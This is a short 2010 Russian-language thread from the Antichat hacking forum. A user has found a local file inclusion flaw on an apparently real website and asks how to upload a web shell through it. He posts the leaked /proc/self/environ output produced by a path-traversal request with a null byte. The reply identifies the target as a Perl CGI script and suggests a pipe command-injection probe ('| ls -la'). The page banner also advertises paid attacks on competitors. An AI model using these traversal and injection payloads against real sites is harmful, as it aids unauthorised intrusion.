FORUMS
MEMBERS
RECENT POSTS
LOG IN
Search Forums
Featured Threads Archive
Recent Posts
Notable Members
Registered Members
Current Visitors
Recent Activity
New Profile Posts
×
Авторизация
Имя пользователя:
Пароль:
Запомнить меня
Нет аккаунта?
Регистрация
УСТРАНЕНИЕ КОНКУРЕНТОВ.
БЛОКИРОВКА ДОМЕНОВ,
БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ.
ПРОВЕРЕННЫЙ СЕЛЛЕР.
НОВЫЕ
ТОРГОВАЯ
НОВОСТИ
ЧАТ
loading...
Скрыть
ANTICHAT
>
БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ
>
Песочница
Не выводится User Agent [LFI]
Поиск по форуму
Расширенный поиск
Опции темы
Поиск в этой теме
Опции просмотра
#
1
04.10.2010, 23:34
DCrypt
Новичок
Регистрация: 21.01.2010
Сообщений: 0
С нами:
8580980
Репутация:
0
Вообщем нашел LFI на сайте. Немогу через User Agent залить шелл. Даже не пашет. Вот что выводит:
Цитата:
Сообщение от
None
PATH=/usr/local/bin:/usr/bin:/bin�HTTP_HOST=www.site.com�
HTTP_USER_AGENT=
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8�HTTP_ACCEPT_LANGUAGE=ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3�HTTP_ACCEPT_ENCODING=gzip,defl ate�HTTP_ACCEPT_CHARSET=windows-1251,utf-8;q=0.7,*;q=0.7�HTTP_KEEP_ALIVE=115�HTTP_CONNE CTION=keep-alive�HTTP_CACHE_CONTROL=max-age=0�SERVER_SIGNATURE=�SERVER_SOFTWARE=Apache �SERVER_NAME=www.site.com�SERVER_ADDR=216.*.*. 22�SERVER_PORT=80�REMOTE_ADDR=*.*.177.249�DO CUMENT_ROOT=/home/03/97/7009703/web�SERVER_ADMIN=root�SCRIPT_FILENAME=/home/03/97/7009703/web/index.cgi�REMOTE_PORT=12488�GATEWAY_INTERFACE= CGI/1.1�SERVER_PROTOCOL=HTTP/1.1�REQUEST_METHOD=GET�QUERY_STRING=page=../../../../../../../../../../proc/self/environ%00�REQUEST_URI=/index.cgi?page=../../../../../../../../../../proc/self/environ%00�SCRIPT_NAME=/index.cgi�
𝕏 Twitter
Reddit
Telegram
Копировать ссылку
DCrypt
Посмотреть профиль
Репутация
Отправить личное сообщение для DCrypt
Найти все сообщения от DCrypt
Добавить в друзья
#
2
05.10.2010, 05:06
Redwood
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
С нами:
8772211
Репутация:
56
Советую обратить внимание на эти строки
SCRIPT_NAME=/index.
cgi
REQUEST_URI=/index.
cgi
?page=../../../../../../../../../../proc/self/environ%00
GATEWAY_INTERFACE=
CGI
/1.1
Redwood
Посмотреть профиль
Репутация
Отправить личное сообщение для Redwood
Найти все сообщения от Redwood
Добавить в друзья
#
3
05.10.2010, 06:04
DCrypt
Новичок
Регистрация: 21.01.2010
Сообщений: 0
С нами:
8580980
Репутация:
0
Чхорт Как же можно залить шелл?
DCrypt
Посмотреть профиль
Репутация
Отправить личное сообщение для DCrypt
Найти все сообщения от DCrypt
Добавить в друзья
#
4
05.10.2010, 07:17
Redwood
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
С нами:
8772211
Репутация:
56
DCrypt
Можно, но не средствами PHP, как ты пытаешься это сделать, а средствами Perl.
Вообще, там скорее всего читалка, а не инклуд, учитывая некоторые особенности языка.
Попробуй прописать какие нибудь системные команды index.cgi?page=| ls -la и тд, будут ли они выполняться.
Redwood
Посмотреть профиль
Репутация
Отправить личное сообщение для Redwood
Найти все сообщения от Redwood
Добавить в друзья
Предыдущая тема
Следующая тема
Здесь присутствуют: 1
(пользователей: 0 , гостей: 1)
Опции темы
Версия для печати
Отправить по электронной почте
Опции просмотра
Линейный вид
Комбинированный вид
Древовидный вид
Поиск в этой теме
Расширенный поиск
Оценка этой темы
Вы уже оценили эту тему
Быстрый переход
Мой кабинет
Личные сообщения
Подписки
Кто на форуме
Поиск по форуму
Главная страница форума
ИНФО
Мировые новости. Обсуждения.
Статьи
Избранное
РАЗРАБОТКА
Ваши проекты
SЕО - тонкости, методы раскрутки
Услуги, Покупка и Продажа в SEO
Хостинги - Hostings
Хостинг, Dedicated, VDS, Сервера - покупка, продажа
Для Администратора
Apple: Mac, OS X, iOS
AntiDDos - АнтиДДОС
Windows
Linux, Freebsd, *nix
ПРОГРАММИРОВАНИЕ
Общие вопросы программирования
ПО для Web разработчика
PHP
Python
С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Реверсинг
ТЕХНОЛОГИИ И AI
Искусственный интеллект (AI)
Нейросети и промптинг
AI автоматизация
Разработка AI-агентов
Технологические новости
Стартапы, бизнес и инвестиции
Программирование с AI
ФИНАНСОВЫЕ ЗАДАЧИ/СОЦИАЛЬНЫЕ СЕТИ
Покупка, Продажа, Обмен
Разное - Покупка, продажа, обмен
Услуги, Покупка и Продажа в SEO
Электронные валюты: Обмен, Вывод, Ввод
VPN, Proxy, Socks - Покупка, продажа
Хостинг, Dedicated, VDS, Сервера - Покупка, продажа
Мобильная связь, СМС - Покупка, продажа
Трафик, инсталлы, загрузки - Покупка, продажа
Покупка, продажа, услуги в Соц. Сетях
Партнерки
Freelance - О Работе
Предложения работы, услуг
Социальные сети
Покупка, продажа, услуги в Соц. Сетях
Платежные системы
Электронные валюты: Обмен, Вывод, Ввод
Blockchain, Криптовалюты, смарт-контракты
ТЕНЕВОЙ РЫНОК
Пробив информации
Карты, кошельки, биржи
Документы готовые и под заказ
Способы и схемы заработка
Арбитраж трафика
Барахолка
ОФФТОП
Болталка
Forum for discussion of ANTICHAT
Video.Antichat
Комментарии к видео
Архив
ICQ - Покупка, продажа
Home
Contact Us
Help
Terms and Rules
Privacy Policy
ANTICHAT ™ © 2001- Antichat Kft.